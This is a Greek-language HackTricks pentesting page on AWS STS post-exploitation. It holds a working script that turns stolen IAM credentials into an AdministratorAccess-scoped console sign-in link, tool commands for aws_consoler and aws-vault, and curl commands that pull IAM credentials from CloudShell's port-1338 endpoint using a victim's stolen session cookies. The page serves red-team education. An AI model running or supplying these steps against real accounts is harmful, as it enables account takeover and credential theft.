AWS - STS Post Exploitation

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Red Team του HackTricks στο AWS)!

Άλλοι τρόποι υποστήριξης του HackTricks:

STS

Για περισσότερες πληροφορίες:

pageAWS - IAM, Identity Center & SSO Enum

Από Διαπιστευτήρια IAM στην Κονσόλα

Αν καταφέρατε να αποκτήσετε κάποια διαπιστευτήρια IAM, ίσως σας ενδιαφέρει να έχετε πρόσβαση στην ιστοσελίδα της κονσόλας χρησιμοποιώντας τα παρακάτω εργαλεία. Σημειώστε ότι ο χρήστης/ρόλος πρέπει να έχει την άδεια sts:GetFederationToken.

Προσαρμοσμένο σενάριο

Το παρακάτω σενάριο θα χρησιμοποιήσει το προφίλ προεπιλογής και μια προεπιλεγμένη τοποθεσία AWS (όχι κυβέρνηση και όχι cn) για να σας δώσει μια υπογεγραμμένη διεύθυνση URL που μπορείτε να χρησιμοποιήσετε για να συνδεθείτε στην ιστοσελίδα της κονσόλας:

# Get federated creds (you must indicate a policy or they won't have any perms)
## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges
## Don't forget to use [--profile <prof_name>] in the first line if you need to
output=$(aws sts get-federation-token --name consoler --policy-arns arn=arn:aws:iam::aws:policy/AdministratorAccess)

if [ $? -ne 0 ]; then
echo "The command 'aws sts get-federation-token --name consoler' failed with exit status $status"
exit $status
fi

# Parse the output
session_id=$(echo $output | jq -r '.Credentials.AccessKeyId')
session_key=$(echo $output | jq -r '.Credentials.SecretAccessKey')
session_token=$(echo $output | jq -r '.Credentials.SessionToken')

# Construct the JSON credentials string
json_creds=$(echo -n "{\"sessionId\":\"$session_id\",\"sessionKey\":\"$session_key\",\"sessionToken\":\"$session_token\"}")

# Define the AWS federation endpoint
federation_endpoint="https://signin.aws.amazon.com/federation"

# Make the HTTP request to get the sign-in token
resp=$(curl -s "$federation_endpoint" \
--get \
--data-urlencode "Action=getSigninToken" \
--data-urlencode "SessionDuration=43200" \
--data-urlencode "Session=$json_creds"
)
signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri)



# Give the URL to login
echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token"

aws_consoler

Μπορείτε να δημιουργήσετε ένα σύνδεσμο web console με το https://github.com/NetSPI/aws_consoler.

cd /tmp
python3 -m venv env
source ./env/bin/activate
pip install aws-consoler
aws_consoler [params...] #This will generate a link to login into the console

Βεβαιωθείτε ότι ο χρήστης IAM έχει άδεια sts:GetFederationToken, ή παρέχει έναν ρόλο για να υιοθετήσει.

aws-vault

aws-vault είναι ένα εργαλείο για την ασφαλή αποθήκευση και πρόσβαση σε διαπιστευτήρια AWS σε ένα περιβάλλον ανάπτυξης.

aws-vault list
aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds
aws-vault login jonsmith # Open a browser logged as jonsmith

Μπορείτε επίσης να χρησιμοποιήσετε το aws-vault για να λάβετε μια συνεδρία κονσόλας περιήγησης

Από την Κονσόλα στα IAM Διαπιστευτήρια

Αρχικά ανακαλύφθηκε σε αυτήν την ανάρτηση, Αν καταφέρετε να διαρρήξετε κάποια πρόσβαση σε μια κονσόλα ιστού (ίσως κλέψατε cookies και δεν μπορούσατε να έχετε πρόσβαση στον φάκελο .aws), μπορείτε να λάβετε κάποια διαπιστευτήρια των IAM για αυτόν τον χρήστη μέσω του CloudShell.

Το CloudShell αποκαλύπτει τα διαπιστευτήρια των IAM μέσω ενός μη τεκμηριωμένου σημείου πρόσβασης στη θύρα 1338. Αφού φορτώσετε τα cookies συνεδρίας από το θύμα στον περιηγητή σας, μπορείτε να πλοηγηθείτε στο CloudShell και να εκδώσετε τις παρακάτω εντολές για να λάβετε τα διαπιστευτήρια των IAM.

TOKEN=$(curl -X PUT localhost:1338/latest/api/token -H "X-aws-ec2-metadata-token-ttl-seconds: 60")
curl localhost:1338/latest/meta-data/container/security-credentials -H "X-aws-ec2-metadata-token: $TOKEN"
Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Last updated